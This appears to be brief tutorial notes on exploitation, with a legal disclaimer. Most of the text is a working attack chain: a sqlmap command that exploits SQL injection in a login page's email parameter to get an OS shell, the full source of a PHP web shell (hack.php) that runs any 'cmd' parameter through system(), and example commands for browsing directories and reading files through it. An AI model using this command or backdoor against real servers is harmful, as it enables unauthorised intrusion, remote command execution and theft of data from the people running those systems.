Overview
Refers to the process of taking a known vulnerability in a software or system and creating an exploit for it.
National Vulnerability Database : The NVD is the U.S. government repository of standards based vulnerability management data represented using the Security Content Automation Protocol (SCAP). This data enables automation of vulnerability management, security measurement, and compliance. The NVD includes databases of security checklist references, security-related software flaws, product names, and impact metrics.
Exploiting SQLi Vulnerabilities with sqlmap
Disclaimer
Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
The first and most crucial step in exploiting a target system is finding and using a vulnerability that provides an initial entry point.
example
sqlmap -u "http://10.114.153.36/ai/includes/user_login.php?email=test%40example.com&password=123" -p email --os-shell
The above command will exploit the SQL injection vulnerability, as well as to chain it with an arbitrary file upload attempt, which uploads a file stager in the root web directory that can be accessed by typing http://10.114.153.36:80/tmpufuop.php
The next step is creating a PHP-based backdoor that allows to run commands in the server.
hack.php
<?php
if(isset($_REQUEST['cmd']))
{
echo "<pre>"; $cmd = ($_REQUEST['cmd']);
system ($cmd);
echo "</pre>";
die;
}
?>
This example demonstrates how a simple vulnerability like an initial SQL injection can be used to chain a series of attacks, leading to an arbitrary file upload and ultimately remote code execution
hack.php is a PHP endpoint that takes the cmd query parameter and executes it on the server, the basic URL.
http://10.114.174.173/hack.php?cmd=dir
- List the current directory:
?cmd=dir(Windows) or?cmd=ls(Linux) - Change directory:
?cmd=cd%20/path/to/folder - Read a text file on Linux:
?cmd=cat%20text.txt - Read a text file on Windows:
?cmd=type%20text.txt
The %20 is URL encoding for a space. I can also use + for spaces in query parameters.